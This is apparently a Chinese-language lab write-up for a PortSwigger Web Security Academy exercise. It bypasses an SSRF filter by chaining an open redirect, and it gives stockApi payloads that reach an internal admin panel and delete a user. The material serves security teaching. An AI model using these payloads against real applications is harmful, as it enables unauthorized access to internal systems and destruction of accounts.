> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-bypass-via-open-redirection.md).
# 通过开放重定向绕过 SSRF
通过开放重定向绕过 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过开放重定向漏洞绕过过滤的 SSRF
该实验室使用一个库存验证功能，从内部系统检索数据。/ 目标是修改库存检查器使用的 URL，以访问位于以下位置的管理界面 `HTTP://192.168.0.12:8080/admin`，然后删除该用户 **carlos**.
服务器端过滤器只允许应用内部的 URL，因此需要利用开放重定向漏洞。
#### 分析
受控参数为：
```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```
如果我们直接尝试：
```javascript
stockApi=http://192.168.0.12:8080/admin
```
服务器返回 `无效的外部库存检查 URL 'Invalid URL'`：外部请求被阻止。
然而，应用程序有一个 **nextProduct** 功能，它通过 `path` 参数存在开放重定向漏洞：
{% code overflow="wrap" %}
```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```
{% endcode %}
此功能会强制服务器跟随其重定向到的任意 URL。
#### 利用
因此，内部重定向器被用作到内部系统的中继：
```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```
一旦通过该重定向获得对管理界面的访问，用户 **carlos** 将被删除：
{% code overflow="wrap" %}
```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```
{% endcode %}
---
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